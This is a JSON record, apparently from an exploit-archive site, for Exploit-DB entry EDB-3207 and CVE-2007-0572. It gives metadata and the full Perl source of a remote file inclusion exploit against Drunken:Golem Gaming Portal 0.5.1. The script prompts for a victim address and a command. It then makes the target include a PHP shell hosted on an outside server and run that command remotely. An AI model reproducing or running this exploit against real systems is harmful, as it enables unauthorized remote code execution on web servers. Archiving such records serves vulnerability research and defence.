{"exploit":{"id":"EDB-3207","name":"Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion (RFI)","description":"Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion (RFI)","cves":["CVE-2007-0572"],"author":"MackRulZ","published":"2007-01-27","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3207","path":"exploits/php/webapps/3207.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3207.pl","vulnerabilities":[{"id":"CVE-2007-0572","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in include/irc/phpIRC.php in Drunken:Golem Gaming Portal 0.5.1 Alpha 2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0572","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0572"},"updatedAt":"2024-08-07T12:26:53.272Z","retrievedAt":"2026-11-26T22:09:45.887Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3207.png?v=2","url":"https://exploitbin.com/exploits/EDB-3207","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3207/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3207/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#(C) MackRulZ - 2007\n#\n# [Bug name: Drunken:Golem Gaming Portal (root_path) Remote File Include Exploit\n#\n# [Script Name: Xero Portal v1.2\n#\n# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);\n#\n$rfi = \"phpIRC.php?root_path=\";\n$path = \"/include/irc/\";\n$shell = \"http://pang0.by.ru/shall/pang057.zz?cmd=\";\nprint \"Language: English // Turkish\\nPlz Select Lang:\\n\"; $dil = <STDIN>; chop($dil);\nif($dil eq \"English\"){\nprint \"(c) Mackrulz\\n\";\n&ex;\n}\nelsif($dil eq \"Turkish\"){\nprint \"Kodlayan MackruLz\\n\";\n&ex;\n}\nelse {print \"Plz Select Languge\\n\"; exit;}\nsub ex{\n$not = \"Victim is Not Vunl.\\n\" and $not_cmd = \"Victim is Vunl but Not doing Exec.\\n\"\nand $vic = \"Victim Addres? with start http:// :\" and $thx = \"Greetz \" and $diz = \"Dictionary?:\" and $komt = \"Command?:\"\nif $dil eq \"English\";\n$not = \"Adreste RFI acigi Yok\\n\" and $not_cmd = \"Adresde Ac.k Var Fakat Kod Calismiyor\\n\"\nand $vic = \"Ornek Adres http:// ile baslayan:\" and $diz = \"Dizin?: \" and $thx = \"Tesekkurler \" and $komt = \"Command?:\"\nif $dil eq \"Turkish\";\nprint \"$vic\";\n$victim = <STDIN>;\nchop($victim);\nprint \"$diz\";\n$dizn = <STDIN>;\nchop($dizn);\n$dizin = $dizn;\n$dizin = \"/\" if !$dizn;\nprint \"$komt\";\n$cmd = <STDIN>;\nchop($cmd);\n$cmmd = $cmd;\n$cmmd = \"dir\" if !$cmd;\n$site = $victim;\n$site = \"http://$victim\" if !($victim =~ /http/);\n$acacaz = \"$site$dizin$rfi$shell$cmmd\";\nprint \"(c) Mackrulz\\n$thx: xoron\\n\";\nsleep 3;\nsystem(\"start $acacaz\");\n}\n\n# milw0rm.com [2007-01-27]","sha256":"9f2bd6f62b12b82240a1e5bb9f6798fd2838bef5ea26242716735c08c61c18d2","bytes":1456,"fetchedAt":"2026-11-26T22:09:45.414Z","encoding":"utf-8 (display only; download retains original bytes)"}